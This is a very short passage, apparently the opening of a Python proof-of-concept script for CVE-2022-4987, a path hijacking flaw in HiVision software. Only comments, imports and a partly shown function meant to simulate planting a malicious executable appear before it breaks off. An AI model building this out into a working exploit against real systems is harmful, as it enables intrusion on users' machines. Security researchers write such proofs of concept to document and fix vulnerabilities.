CVE-2022-4987

# Proof of Concept for CVE-2022-4987 # This PoC demonstrates how to exploit the path hijacking vulnerability. # An attacker would place a malicious executable in a path that HiVision searches. import os import sys def create_malicious_payload(target_exe_name): """ Simulates creating a malicious executable named 'target_exe_name'. In a real attack, this would be a harmful binary.
